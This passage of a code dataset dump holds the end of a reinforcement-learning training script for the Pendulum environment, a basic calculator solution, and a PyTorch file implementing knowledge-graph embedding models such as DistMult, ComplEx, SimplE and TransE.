max_action),\n estimation_step=model_hyperparameters['estimation_step'],\n action_space=env.action_space)\n\n # Collectors\n prioritized_buffer_hyperparameters = {'total_size': 1_000_000, 'buffer_num': 1, 'alpha': 0.7, 'beta': 0.5}\n train_collector = ts.data.Collector(policy, train_envs,\n ts.data.PrioritizedVectorReplayBuffer(**prioritized_buffer_hyperparameters,\n device=device),\n exploration_noise=True)\n test_collector = ts.data.Collector(policy, test_envs, exploration_noise=True)\n\n\n # Sigma schedule\n def build_sigma_schedule(max_sigma=0.5, min_sigma=0.0, steps_per_epoch=50000, decay_time_steps=10000):\n def custom_sigma_schedule(epoch, env_step):\n decay_per_step = (max_sigma - min_sigma) / decay_time_steps\n step_number = (epoch - 1) * steps_per_epoch + env_step\n\n current_sigma = max_sigma - step_number * decay_per_step\n if current_sigma < 0.0:\n current_sigma = 0.0\n policy._noise = GaussianNoise(sigma=current_sigma * max_action)\n\n return custom_sigma_schedule\n\n\n # Test function\n def build_test_fn(num_episodes):\n def custom_test_fn(epoch, env_step):\n print(f\"Epoch = {epoch}\")\n\n # Save agent\n torch.save(policy.state_dict(), log_dir + f'dqn_epoch{epoch}.pth')\n\n # Record agents performance in video\n for episode in range(num_episodes):\n env = ts.env.DummyVectorEnv(\n [lambda: wrappers.Monitor(env=wrappers.TimeLimit(env=gym.make(env_id), max_episode_steps=200),\n directory=log_dir + '/videos/epoch_' + str(\n epoch) + '/video' + str(episode), force=False)\n for _ in range(1)])\n\n # Video\n policy.eval()\n collector = ts.data.Collector(policy, env, exploration_noise=True)\n collector.collect(n_episode=1, render=1 / 60)\n\n return custom_test_fn\n\n\n # Training\n trainer_hyperparameters = {'max_epoch': 2, 'step_per_epoch': 75_000, 'step_per_collect': 5,\n 'episode_per_test': 10,\n 'batch_size': 64}\n all_hypeparameters = model_hyperparameters | prioritized_buffer_hyperparameters | trainer_hyperparameters\n all_hypeparameters['seed'] = seed\n save_dict_to_file(all_hypeparameters, path=log_dir)\n decay_steps = int(trainer_hyperparameters['max_epoch'] * trainer_hyperparameters['step_per_epoch'] * 0.2)\n result = ts.trainer.offpolicy_trainer(policy, train_collector, test_collector, **trainer_hyperparameters,\n train_fn=build_sigma_schedule(max_sigma=0.2, min_sigma=0.0,\n steps_per_epoch=trainer_hyperparameters[\n 'step_per_epoch'],\n decay_time_steps=decay_steps),\n test_fn=build_test_fn(num_episodes=2), stop_fn=None, logger=logger)\n print(f'Finished training! Use {result[\"duration\"]}')\n\n # Learning Curve\n learning_curve_tianshou(log_dir=log_dir, window=50)\n\n # Record Episode Video\n num_episodes = 10\n for i in range(num_episodes):\n env = ts.env.DummyVectorEnv(\n [lambda: wrappers.Monitor(env=wrappers.TimeLimit(env=gym.make(env_id), max_episode_steps=200),\n directory=log_dir + '/videos/final_agent/video' + str(i),\n force=False) for _ in range(1)])\n\n # Video\n policy.eval()\n collector = ts.data.Collector(policy, env, exploration_noise=False)\n collector.collect(n_episode=1, render=1 / 60)\n\n # Save policy\n torch.save(policy.state_dict(), log_dir + model_name + '.pth')\n\n # Execution Time\n end = time.perf_counter() # tensorboard --logdir './Classic Control/Pendulum/logs'\n print(f\"\\nExecution time = {end - start:.2f} second(s)\")\n","sub_path":"Classic Control/Pendulum/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"612672766","text":"class Solution:\n def calculate(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n s=s.replace(\" \",\"\")\n num, sign, stack= 0, \"+\", []\n for i in range(len(s)):\n if s[i].isdigit()==True:\n num = num*10+int(s[i])\n if s[i].isdigit()==False or i==len(s)-1:\n if sign==\"+\":\n stack.append(num)\n elif sign==\"-\":\n stack.append(-num)\n elif sign==\"*\":\n stack.append(stack.pop()*num)\n else:\n tmp=stack.pop()\n val=abs(tmp)//num\n if tmp<0:\n stack.append(-val)\n else:\n stack.append(val)\n sign=s[i]\n num=0\n return sum(stack)\n'''\nwe initially assign + to sign, then the first number will be added when we meet the first sign in the string.\nactually it means like \"(+)123*4-6\".\n'''","sub_path":"python/calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"200546608","text":"from typing import List, Dict\nfrom torch import nn\nfrom torch.nn.init import xavier_normal_\nimport torch as t\nimport abc\n\nfrom .losses import SoftMaxLoss, MaxMarginLoss, HingeLoss\nfrom .utils import get_device, Parameters\nfrom .experiment import Experiment\nfrom .logging import logger\n\nDEVICE = get_device()\n\n# _ _ _ _ _\n# __ _| |__ ___| |_ _ __ __ _ ___| |_ _ __ ___ ___ __| |_ _| | ___\n# / _` | '_ \\/ __| __| '__/ _` |/ __| __| | '_ ` _ \\ / _ \\ / _` | | | | |/ _ \\\n#| (_| | |_) \\__ \\ |_| | | (_| | (__| |_ | | | | | | (_) | (_| | |_| | | __/\n# \\__,_|_.__/|___/\\__|_| \\__,_|\\___|\\__| |_| |_| |_|\\___/ \\__,_|\\__,_|_|\\___|\n\nclass Abstract_Module(nn.Module):\n '''Abstract module for all other modules to inherit.\n\n Attributes\n ----------\n n_entities: int\n number of entities in the dataset\n n_relations: int\n number of relations in the dataset\n embedding_size: int\n number of dimensions of the embeddings to be trained\n loss: torch.nn.modules.loss._Loss\n loss to use during training'''\n def __init__(self, n_entities, n_relations, embedding_size,\n loss, margin=1.0, neg_ratio=1):\n '''\n Parameters\n ----------\n n_entities: int\n number of entities\n n_relations: int\n number of relations\n embedding_size: int\n size of the entity and relation embeddings\n loss: string\n options: \"maxmargin\", \"hinge\", \"softmax\", \"softmargin\", \"full-softmax\"\n margin (optional): float\n If the loss is \"maxmargin\" or \"hinge\", this will be the margin to use\n neg_ratio (optional): int\n Number of generated negatives per positive example. Needed if the\n loss is \"maxmargin\" or \"softmax\"\n '''\n super(Abstract_Module, self).__init__()\n logger.info('Initialising an instance of %s' % self.__class__.__name__)\n self.name = self.__class__.__name__\n self.n_entities = n_entities\n self.n_relations = n_relations\n self.embedding_size = embedding_size\n\n if loss == \"maxmargin\":\n self.loss = MaxMarginLoss(margin=margin, neg_ratio=neg_ratio)\n elif loss == \"hinge\":\n self.loss = HingeLoss(margin)\n elif loss == \"softmax\":\n self.loss = SoftMaxLoss(neg_ratio)\n elif loss == \"softmargin\":\n self.loss = nn.BCEWithLogitsLoss()\n elif loss == \"full-softmax\":\n self.loss = nn.CrossEntropyLoss()\n else:\n raise ValueError(\"Loss passed into module is not recognized.\")\n\n def eval_o(self, e_idx, r_idx):\n '''Evaluates (e, r, _) for all possible entities _.\n\n This is a wrapper function for eval_o_forward to be used during evaluation,\n where the evaluation script expects a numpy array.\n\n Parameters\n ----------\n e_idx: torch.LongTensor\n torch array with indexes of the head entities in the batch\n r_idx: torch.LongTensor\n torch array with indexes of the relations in the batch\n\n Returns\n -------\n numpy.array\n dtype=np.float and shape = (batch_size, n_entities)\n score for triple (h_i, r_i, e_ij) is at result[i, e_ij]'''\n e_idx = t.tensor([e_idx], dtype=t.long).to(DEVICE)\n r_idx = t.tensor([r_idx], dtype=t.long).to(DEVICE)\n\n with t.no_grad():\n pred = self.eval_o_forward(e_idx, r_idx)\n return pred.data.cpu().numpy()\n\n def eval_s(self, r_idx, e_idx):\n '''Evaluates (_, r, e) for all possible entities _.\n\n This is a wrapper function for eval_s_forward to be used during evaluation,\n where the evaluation script expects a numpy array.\n\n Parameters\n ----------\n r_idx: torch.LongTensor\n torch array with indexes of the relations in the batch\n e_idx: torch.LongTensor\n torch array with indexes of the tail entities in the batch\n\n Returns\n -------\n numpy.array\n dtype=np.float and shape = (batch_size, n_entities)\n score for triple (e_ij, r_i, h_i) is at result[i, e_ij]'''\n\n e_idx = t.tensor([e_idx], dtype=t.long).to(DEVICE)\n r_idx = t.tensor([r_idx], dtype=t.long).to(DEVICE)\n\n with t.no_grad():\n pred = self.eval_s_forward(r_idx, e_idx)\n return pred.data.cpu().numpy()\n\n # ----- TO BE IMPLEMENTED IN CHILD MODULES ------- #\n\n @abc.abstractmethod\n def forward(self, e1_idx, r_idx, e2_idx):\n '''Evaluates (e1, r, e2)\n\n Parameters\n ----------\n e1_idx: torch.LongTensor\n indexes of the head entities\n r_idx: torch.LongTensor\n indexes of the relation\n e2_idx: torch.LongTensor\n indexes of the tail entities\n\n Returns\n -------\n torch.float\n score assigned by the model for triple.'''\n return\n\n @abc.abstractmethod\n def eval_o_forward(self, e_idx, r_idx):\n '''Evaluates (e, r, _) for all possible entities _.\n\n Parameters\n ----------\n e_idx: torch.LongTensor\n indexes of the head entities\n r_idx: torch.LongTensor\n indexes of the relation\n\n Returns\n -------\n torch.FloatTensor\n shape = (batch_size, n_entities)\n score for triple (h_i, r_i, e_ij) is at result[i, e_ij]'''\n return\n\n @abc.abstractmethod\n def eval_s_forward(self, r_idx, e_idx):\n '''Evaluates (_, r, e) for all possible entities _.\n\n Parameters\n ----------\n r_idx: torch.LongTensor\n index of the relations\n e_idx: torch.LongTensor\n index of the tail entities\n\n Returns\n -------\n torch.FloatTensor\n dtype=np.float and shape = (batch_size, n_entities)\n score for triple (e_ij, r_i, h_i) is at result[i, e_ij]\n '''\n return\n\n @abc.abstractmethod\n def get_embeddings(self):\n '''Interface for saving the embeddings for the model.\n Returns weights as a tuple of numpy arrays'''\n return\n\n @abc.abstractmethod\n def get_entity_weights(self):\n '''Interface for tying the weights of entities between type and fact modules.\n\n The output is intended to be passed to set_embedding_weights. Different\n children modules can return different outputs, but this should match the\n input form for set_embedding_weights'''\n return\n\n @abc.abstractmethod\n def set_entity_weights(self, weights):\n '''Interface for tying the weights of entities between type and fact modules,\n to be used in combination with get_embedding_weights'''\n return\n\n# _ _ _ _ _ _\n# | |__ (_) (_)_ __ ___ __ _ _ __ _ __ ___ ___ __| |_ _| | ___ ___\n# | '_ \\| | | | '_ \\ / _ \\/ _` | '__| | '_ ` _ \\ / _ \\ / _` | | | | |/ _ \\/ __|\n# | |_) | | | | | | | __/ (_| | | | | | | | | (_) | (_| | |_| | | __/\\__ \\\n# |_.__/|_|_|_|_| |_|\\___|\\__,_|_| |_| |_| |_|\\___/ \\__,_|\\__,_|_|\\___||___/\n\nclass DistMult_Module(Abstract_Module):\n ''' An implementation of the DistMult model described in Yang et al. (2014):\n \"Embedding Entities and Relations for Learning and Inference in Knowledge Bases.\n\n Scoring function is the bilinear product: e_1^T diag(r) e_2\"\n\n Attributes\n ----------\n name: string\n ent_embeddings: torch.nn.Embedding\n rel_embeddings: torch.nn.Embedding\n '''\n def __init__(self, n_entities, n_relations, embedding_size, loss, margin=None, neg_ratio=None):\n # parameters explained in Abstract_Module\n super(DistMult_Module, self).__init__(n_entities, n_relations, embedding_size, loss, margin, neg_ratio)\n self.name = self.__class__.__name__\n self.ent_embeddings = t.nn.Embedding(n_entities, embedding_size)\n # normalize the initialization using Xavier normalization\n xavier_normal_(self.ent_embeddings.weight.data)\n self.rel_embeddings = t.nn.Embedding(n_relations, embedding_size)\n xavier_normal_(self.rel_embeddings.weight.data)\n\n\n def eval_o_forward(self, e_idx, r_idx):\n # This is a fast GPU implementation that uses matrix multiplication with the\n # embeddings matrix.\n\n e1_embed = self.ent_embeddings(e_idx).squeeze()\n rel_embed = self.rel_embeddings(r_idx).squeeze()\n prod = e1_embed*rel_embed\n return t.matmul(prod, self.ent_embeddings.weight.transpose(1,0))\n\n def eval_s_forward(self, r_idx, e_idx):\n # DistMult is symmetric w.r.t head and tail entities\n return self.eval_o_forward(e_idx, r_idx)\n\n def forward(self, e1_idx, r_idx, e2_idx):\n score = t.sum(self.ent_embeddings(e1_idx) * self.rel_embeddings(r_idx) * self.ent_embeddings(e2_idx), dim=-1)\n return score\n\n def get_embeddings(self):\n return (self.ent_embeddings.weight.data.cpu().numpy(), self.rel_embeddings.weight.data.cpu().numpy())\n\n def get_entity_weights(self):\n return self.ent_embeddings.weight\n\n def set_entity_weights(self, weights):\n self.ent_embeddings.weight = weights\n\nclass Complex_Module(Abstract_Module):\n ''' An implementation of the ComplEx model described in Trouillon et al. (2016):\n complex embeddings for simple link prediction\n\n Embeddings are in complex space, hence have a real and an imaginary part. The\n scoring function is the real part of the bilinear product: Re(e_1^T diag(r) e_2)\n\n Following the description of the paper, this is implemented here as:\n\n Re(e_1)^T diag(Re(r)) Re(e_2)\n + Im(e_1)^T diag(Re(r)) Im(e_2)\n + Re(e_1)^T diag(Im(r)) Im(e_2)\n - Im(e_1)^T diag(Im(r)) Re(e_2)\n\n Attributes\n ----------\n name: string\n ent_embeddings_r: torch.nn.Embedding\n ent_embeddings_i: torch.nn.Embedding\n rel_embeddings_r: torch.nn.Embedding\n rel_embeddings_i: torch.nn.Embedding\n '''\n def __init__(self, n_entities, n_relations, embedding_size, loss, margin=None, neg_ratio=None):\n # parameters explained in Abstract_Module\n super(Complex_Module, self).__init__(n_entities, n_relations, embedding_size, loss, margin, neg_ratio)\n\n self.ent_embeddings_r = t.nn.Embedding(n_entities, self.embedding_size)\n self.ent_embeddings_i = t.nn.Embedding(n_entities, self.embedding_size)\n xavier_normal_(self.ent_embeddings_i.weight.data)\n xavier_normal_(self.ent_embeddings_r.weight.data)\n self.rel_embeddings_r = t.nn.Embedding(n_relations, self.embedding_size)\n self.rel_embeddings_i = t.nn.Embedding(n_relations, self.embedding_size)\n xavier_normal_(self.rel_embeddings_i.weight.data)\n xavier_normal_(self.rel_embeddings_r.weight.data)\n\n def forward(self, e1_idx, r_idx, e2_idx):\n res1 = t.sum(self.ent_embeddings_r(e1_idx) * self.rel_embeddings_r(r_idx) * self.ent_embeddings_r(e2_idx), dim=-1)\n res2 = t.sum(self.ent_embeddings_i(e1_idx) * self.rel_embeddings_r(r_idx) * self.ent_embeddings_i(e2_idx), dim=-1)\n res3 = t.sum(self.ent_embeddings_r(e1_idx) * self.rel_embeddings_i(r_idx) * self.ent_embeddings_i(e2_idx), dim=-1)\n res4 = t.sum(self.ent_embeddings_i(e1_idx) * self.rel_embeddings_i(r_idx) * self.ent_embeddings_r(e2_idx), dim=-1)\n return res1 + res2 + res3 - res4\n\n def eval_o_forward(self, e_idx, r_idx):\n e1_embed_r = self.ent_embeddings_r(e_idx).squeeze()\n e1_embed_i = self.ent_embeddings_i(e_idx).squeeze()\n rel_embed_r = self.rel_embeddings_r(r_idx).squeeze()\n rel_embed_i = self.rel_embeddings_i(r_idx).squeeze()\n\n pred1 = t.matmul(e1_embed_r * rel_embed_r, self.ent_embeddings_r.weight.transpose(1,0))\n pred2 = t.matmul(e1_embed_i * rel_embed_r, self.ent_embeddings_i.weight.transpose(1,0))\n pred3 = t.matmul(e1_embed_r * rel_embed_i, self.ent_embeddings_i.weight.transpose(1,0))\n pred4 = t.matmul(e1_embed_i * rel_embed_i, self.ent_embeddings_r.weight.transpose(1,0))\n\n pred = pred1 + pred2 + pred3 - pred4\n return pred\n\n def eval_s_forward(self, r_idx, e_idx):\n\n e2_embed_r = self.ent_embeddings_r(e_idx).squeeze()\n e2_embed_i = self.ent_embeddings_i(e_idx).squeeze()\n rel_embed_r = self.rel_embeddings_r(r_idx).squeeze()\n rel_embed_i = self.rel_embeddings_i(r_idx).squeeze()\n\n pred1 = t.matmul(rel_embed_r * e2_embed_r, self.ent_embeddings_r.weight.transpose(1,0))\n pred2 = t.matmul(rel_embed_r * e2_embed_i, self.ent_embeddings_i.weight.transpose(1,0))\n pred3 = t.matmul(rel_embed_i * e2_embed_i, self.ent_embeddings_r.weight.transpose(1,0))\n pred4 = t.matmul(rel_embed_i * e2_embed_r, self.ent_embeddings_i.weight.transpose(1,0))\n\n pred = pred1 + pred2 + pred3 - pred4\n return pred\n\n def get_entity_weights(self):\n return (self.ent_embeddings_r.weight, self.ent_embeddings_i.weight)\n\n def set_entity_weights(self, weights):\n self.ent_embeddings_r.weight, self.ent_embeddings_i.weight = weights\n\n def get_embeddings(self):\n return ((self.ent_embeddings_r.weight.data.cpu().numpy(), self.ent_embeddings_i.weight.data.cpu().numpy()),(self.rel_embeddings_r.weight.data.cpu().numpy(), self.rel_embeddings_i.weight.data.cpu().numpy()))\n\nclass SimplE_Module(Abstract_Module):\n ''' An implementation of the SimplE model described in Kazemi et al. (2018):\n SimplE Embedding for Link Prediction in Knowledge Graphs.\n\n Each entity has two embeddings associated, one for head and one for tail positions.\n Each relation also has two embeddings. One for itself and one for its reverse. Score\n of a triple is calculated by:\n\n 1/2 (e1_head diag(r) e2_tail + e2_head diag(r_rev) e1_tail)\n\n Attributes\n ----------\n name: string\n ent_embeddings_h: torch.nn.Embedding\n ent_embeddings_t: torch.nn.Embedding\n rel_embeddings: torch.nn.Embedding\n rel_embeddings_rev: torch.nn.Embedding\n '''\n def __init__(self, n_entities, n_relations, embedding_size, loss, margin=None, neg_ratio=None):\n\n super(SimplE_Module, self).__init__(n_entities, n_relations, embedding_size, loss, margin, neg_ratio)\n\n self.ent_embeddings_h = t.nn.Embedding(n_entities, self.embedding_size)\n self.ent_embeddings_t = t.nn.Embedding(n_entities, self.embedding_size)\n xavier_normal_(self.ent_embeddings_h.weight.data)\n xavier_normal_(self.ent_embeddings_t.weight.data)\n self.rel_embeddings = t.nn.Embedding(n_relations, self.embedding_size)\n self.rel_embeddings_rev = t.nn.Embedding(n_relations, self.embedding_size)\n xavier_normal_(self.rel_embeddings.weight.data)\n xavier_normal_(self.rel_embeddings_rev.weight.data)\n\n def forward(self, e1_idx, r_idx, e2_idx):\n res1 = t.sum(self.ent_embeddings_h(e1_idx) * self.rel_embeddings(r_idx) * self.ent_embeddings_t(e2_idx), dim=-1)\n res2 = t.sum(self.ent_embeddings_t(e1_idx) * self.rel_embeddings_rev(r_idx) * self.ent_embeddings_h(e2_idx), dim=-1)\n return (res1 + res2)/2\n\n def eval_o_forward(self, e_idx, r_idx):\n\n e1_embed_h = self.ent_embeddings_h(e_idx).squeeze()\n e1_embed_t = self.ent_embeddings_t(e_idx).squeeze()\n rel_embed = self.rel_embeddings(r_idx).squeeze()\n rel_embed_rev = self.rel_embeddings_rev(r_idx).squeeze()\n\n pred1 = t.matmul(e1_embed_h * rel_embed, self.ent_embeddings_t.weight.transpose(1,0))\n pred2 = t.matmul(e1_embed_t * rel_embed_rev, self.ent_embeddings_h.weight.transpose(1,0))\n\n pred = (pred1 + pred2)/2\n return pred\n\n def eval_s_forward(self, r_idx, e_idx):\n\n e2_embed_h = self.ent_embeddings_h(e_idx).squeeze()\n e2_embed_t = self.ent_embeddings_t(e_idx).squeeze()\n rel_embed = self.rel_embeddings(r_idx).squeeze()\n rel_embed_rev = self.rel_embeddings_rev(r_idx).squeeze()\n\n pred1 = t.matmul( rel_embed * e2_embed_t, self.ent_embeddings_h.weight.transpose(1,0))\n pred2 = t.matmul( rel_embed_rev * e2_embed_h, self.ent_embeddings_t.weight.transpose(1,0))\n\n pred = (pred1 + pred2)/2\n return pred\n\n def get_entity_weights(self):\n return (self.ent_embeddings_h.weight, self.ent_embeddings_t.weight)\n\n def set_entity_weights(self, weights):\n self.ent_embeddings_h.weight, self.ent_embeddings_t.weight = weights\n\n def get_embeddings(self):\n return ((self.ent_embeddings_h.weight.data.cpu().numpy(), self.ent_embeddings_t.weight.data.cpu().numpy()),(self.rel_embeddings.weight.data.cpu().numpy(), self.rel_embeddings_rev.weight.data.cpu().numpy()))\n\n# _ _ _ _ _ _ _\n# | |_ _ __ __ _ _ __ ___| | __ _| |_(_) ___ _ __ __ _| | _ __ ___ ___ __| |_ _| | ___ ___\n# | __| '__/ _` | '_ \\/ __| |/ _` | __| |/ _ \\| '_ \\ / _` | | | '_ ` _ \\ / _ \\ / _` | | | | |/ _ \\/ __|\n# | |_| | | (_| | | | \\__ \\ | (_| | |_| | (_) | | | | (_| | | | | | | | | (_) | (_| | |_| | | __/\\__ \\\n# \\__|_| \\__,_|_| |_|___/_|\\__,_|\\__|_|\\___/|_| |_|\\__,_|_| |_| |_| |_|\\___/ \\__,_|\\__,_|_|\\___||___/\n\nclass TransE_Module(Abstract_Module):\n '''Abstract implementation of the TransE model as described in Bordes et al. (2013):\n \"Translating embeddings for modeling multi-relational data. Child classes need to\n implement which norm to use\"\n\n The scoring function is: - L_p(e_1 + r - e_2)\n\n Attributes\n ----------\n ent_embeddings: torch.nn.Embedding\n rel_embeddings: torch.nn.Embedding\n '''\n def __init__(self, n_entities, n_relations, embedding_size, loss, margin=1.0, neg_ratio=1):\n\n super(TransE_Module, self).__init__(n_entities, n_relations, embedding_size, loss, margin=margin, neg_ratio=neg_ratio)\n\n self.ent_embeddings = t.nn.Embedding(n_entities, embedding_size)\n xavier_normal_(self.ent_embeddings.weight.data)\n self.rel_embeddings = t.nn.Embedding(n_relations, embedding_size)\n xavier_normal_(self.rel_embeddings.weight.data)\n\n def get_entity_weights(self):\n return self.ent_embeddings.weight\n\n def set_entity_weights(self, weights):\n self.ent_embeddings.weight = weights\n\n def get_embeddings(self):\n return (self.ent_embeddings.weight.data.cpu().numpy(), self.rel_embeddings.weight.data.cpu().numpy())\n ### needs to be implemented in the children modules ###\n\n @abc.abstractmethod\n def forward(self, e1_idx, r_idx, e2_idx):\n return\n\n @abc.abstractmethod\n def eval_o_forward(self, e_idx, r_idx):\n return\n\n @abc.abstractmethod\n def eval_s_forward(self, r_idx, e_idx):\n return\n\nclass TransE_L1_Module(TransE_Module):\n ''' Implementation of the TransE model using L1 norm'''\n def __init__(self, n_entities, n_relations, embedding_size, loss, margin=1.0, neg_ratio=1):\n super(TransE_L1_Module, self).__init__(n_entities, n_relations, embedding_size, loss, margin=margin, neg_ratio=neg_ratio)\n\n def forward(self, e1_idx, r_idx, e2_idx):\n return -t.sum(t.abs(self.ent_embeddings(e1_idx) + self.rel_embeddings(r_idx) - self.ent_embeddings(e2_idx)), dim=-1)\n\n def eval_o_forward(self, e_idx, r_idx):\n # When batch size is 1 e_idx.shape returns ()\n try:\n batch_size = e_idx.shape[0]\n except IndexError:\n batch_size = 1\n\n e1_embed = self.ent_embeddings(e_idx).view(batch_size, 1, self.embedding_size)\n rel_embed = self.rel_embeddings(r_idx).view(batch_size, 1, self.embedding_size)\n ent_embeddings = self.ent_embeddings.weight.view(1, self.n_entities, self.embedding_size)\n pred = -t.sum(t.abs(e1_embed + rel_embed - ent_embeddings), 2)\n return pred.squeeze()\n\n def eval_s_forward(self, r_idx, e_idx):\n try:\n batch_size = e_idx.shape[0]\n except IndexError:\n batch_size = 1\n\n e2_embed = self.ent_embeddings(e_idx).view(batch_size, 1, self.embedding_size)\n rel_embed = self.rel_embeddings(r_idx).view(batch_size, 1, self.embedding_size)\n ent_embeddings = self.ent_embeddings.weight.view(1, self.n_entities, self.embedding_size)\n\n pred = -t.sum(t.abs(ent_embeddings + rel_embed - e2_embed), 2)\n return pred.squeeze()\n\nclass TransE_L2_Module(TransE_Module):\n ''' Implementation of the TransE model using L2 norm '''\n def __init__(self, n_entities, n_relations, embedding_size, loss, margin=None, neg_ratio=None):\n super(TransE_L2_Module, self).__init__(n_entities, n_relations, embedding_size, loss, margin, neg_ratio)\n\n def forward(self, e1_idx, r_idx, e2_idx):\n return -t.norm(self.ent_embeddings(e1_idx) + self.rel_embeddings(r_idx) - self.ent_embeddings(e2_idx), dim=-1)\n\n def eval_o_forward(self, e_idx, r_idx):\n e1_embed = self.ent_embeddings(e_idx).squeeze()\n rel_embed = self.rel_embeddings(r_idx).squeeze()\n pred = -t.sum((e1_embed + rel_embed - self.ent_embeddings.weight).pow(2), 1)\n return pred\n\n def eval_s_forward(self, r_idx, e_idx):\n e2_embed = self.ent_embeddings(e_idx).squeeze()\n rel_embed = self.rel_embeddings(r_idx).squeeze()\n pred = -t.sum((self.ent_embeddings.weight + rel_embed - e2_embed).pow(2), 1)\n return pred\n\n # _ _ _ _ _\n # (_) ___ (_)_ __ | |_ _ __ ___ ___ __| |_ _| | ___\n # | |/ _ \\| | '_ \\| __| | '_ ` _ \\ / _ \\ / _` | | | | |/ _ \\\n # | | (_) | | | | | |_ | | | | | | (_) | (_| | |_| | | __/\n # _/ |\\___/|_|_| |_|\\__| |_| |_| |_|\\___/ \\__,_|\\__,_|_|\\___|\n# |__/\n\nclass Joint_Module(nn.Module):\n '''Module for joint training. TODO: add the paper link.\n\n Attributes\n ----------\n fact_module: Abstract_Module\n Initialized module to use for the training on the correctness of the triples\n type_module: Abstract_Module\n Initialized module to use for the training on whether the triple type-checks\n loss_ratio: float\n The value to weight the loss contributed by the type module\n n_entities: int\n Number of entities\n n_relations: int\n Number of relations\n embedding_size: int\n Size of the entity and relation embeddings'''\n\n def __init__(self, fact_module, type_module, loss_ratio):\n '''\n Parameters\n ----------\n fact_module: Abstract_Module\n type_module: Abstract_Module\n loss_ratio: float\n '''\n # confirm that the dimensions for the embeddings match between the two modules\n assert fact_module.n_entities == type_module.n_entities, \"Number of entities in fact module and type module are different\"\n assert fact_module.n_relations == type_module.n_relations, \"Number of relations in fact module and type module are different\"\n assert fact_module.embedding_size == type_module.embedding_size, \"Embedding size in the fact modula and type module are different\"\n\n super(Joint_Module, self).__init__()\n self.name = self.__class__.__name__\n self.fact_module = fact_module\n self.type_module = type_module\n\n # tie the entity weights between the type and the fact module\n self.type_module.set_entity_weights(self.fact_module.get_entity_weights())\n\n self.loss_ratio = loss_ratio\n self.n_entities = fact_module.n_entities\n self.n_relations = fact_module.n_relations\n self.embedding_size = fact_module.embedding_size\n\n def loss(self, preds, labels):\n ''' Calculates the loss for the joint model given the predictions and labels.\n\n Parameters\n ----------\n preds: (torch.FloatTensor, torch.FloatTensor)\n predicted values from the forward pass of the model from the fact module\n and the type module respectively.\n labels: (torch.FloatTensor, torch.FloatTensor) or (torch.LongTensor, torch.FloatTensor)\n True labels for the type module and the fact module respectively. If the\n fact loss is full softmax, then the first index contains the indeces of the correct\n entities.\n\n Returns\n -------\n (total_loss:torch.float , fact_loss:torch.float , type_loss:torch.float)\n total_loss is the overall loss, fact_loss is the loss contributed by the\n fact module and type_loss is the (non-scaled) loss from the type module\n '''\n ans1, ans2 = labels\n pred1, pred2 = preds\n loss1 = self.fact_module.loss(pred1, ans1)\n loss2 = self.type_module.loss(pred2, ans2)\n return (loss1 + self.loss_ratio * loss2, loss1, loss2)\n\n def joint_loss_with_full_softmax(self, scores_f, scores_t, ent_idx, type_labels):\n loss1 = self.fact_module.loss(scores_f, ent_idx)\n loss2 = self.type_module.loss(scores_t, type_labels)\n return (loss1 + self.loss_ratio * loss2, loss1, loss2)\n\n def forward(self, e1_idx, r_idx, e2_idx):\n '''Evaluates (e1, r, e2)\n\n Parameters\n ----------\n e1_idx: torch.LongTensor\n indexes of the head entities\n r_idx: torch.LongTensor\n indexes of the relation\n e2_idx: torch.LongTensor\n indexes of the tail entities\n\n Returns\n -------\n (torch.float, torch.float)\n score assigned to the triple by the fact module and by the type module '''\n ans1 = self.fact_module.forward(e1_idx, r_idx, e2_idx)\n ans2 = self.type_module.forward(e1_idx, r_idx, e2_idx)\n return (ans1, ans2)\n\n def eval_o_forward(self, e_idx, r_idx):\n ''' Evaluates (e, r, _) for all entities with the fact module'''\n return self.fact_module.eval_o_forward(e_idx, r_idx)\n\n def eval_s_forward(self, r_idx, e_idx):\n ''' Evaluates (_, r, e) for all entities with the fact module'''\n return self.fact_module.eval_s_forward(r_idx, e_idx)\n\n def eval_o_forward_type(self, e_idx, r_idx):\n ''' Evaluates (e, r, _) for all entities with the type module'''\n return self.type_module.eval_o_forward(e_idx, r_idx)\n\n def eval_s_forward_type(self, r_idx, e_idx):\n ''' Evaluates (_, r, e) for all entities with the type module'''\n return self.type_module.eval_s_forward(r_idx, e_idx)\n\n def eval_o(self, e_idx, r_idx):\n ''' Wrapper that evalues (e, r, _) and returns the result as a numpy array '''\n e_idx = t.tensor([e_idx], dtype=t.long).to(DEVICE)\n r_idx = t.tensor([r_idx], dtype=t.long).to(DEVICE)\n\n with t.no_grad():\n pred = self.eval_o_forward(e_idx, r_idx)\n return pred.data.cpu().numpy()\n\n def eval_s(self, r_idx, e_idx):\n ''' Wrapper that evalues (_, r, e) and returns the result as a numpy array '''\n e_idx = t.tensor([e_idx], dtype=t.long).to(DEVICE)\n r_idx = t.tensor([r_idx], dtype=t.long).to(DEVICE)\n\n with t.no_grad():\n pred = self.eval_s_forward(r_idx, e_idx)\n return pred.data.cpu().numpy()\n\n def get_embeddings(self):\n '''Get embeddings for the fact module'''\n return self.fact_module.get_embeddings()\n\n\ndef create_module(experiment: Experiment, method: str, joint: bool, parameters: Parameters):\n module_cls = MODULES[method]\n if joint:\n module_1 = module_cls(experiment.n_entities, experiment.n_relations,\n loss= parameters.fact_loss, embedding_size= parameters.embedding_size,\n neg_ratio = parameters.neg_ratio)\n module_2 = module_cls(experiment.n_entities, experiment.n_relations,\n loss= parameters.type_loss, embedding_size= parameters.embedding_size,\n neg_ratio = parameters.neg_ratio)\n module = Joint_Module(module_1, module_2, parameters.loss_ratio)\n else:\n module = module_cls(experiment.n_entities, experiment.n_relations,\n loss= parameters.fact_loss, embedding_size= parameters.embedding_size,\n neg_ratio = parameters.neg_ratio)\n\n return module\n\n\nMODULES = {'complex': Complex_Module, 'distmult': DistMult_Module, 'simple': SimplE_Module, \n 'transe_l1': TransE_L1_Module, 'transe_l2': TransE_L2_Module}\nBILINEAR_MODULES = {'complex': Complex_Module, 'distmult': DistMult_Module, 'simple': SimplE_Module}\n\n","sub_path":"src/modules.py","file_name":"modules.py","file_ext":"py","file_size_in_byte":28513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"493223990","text":"#! /usr/bin/env python\nfrom XAMPPbase.runSUSYAnalysis import *\n\n# add additional arguments to 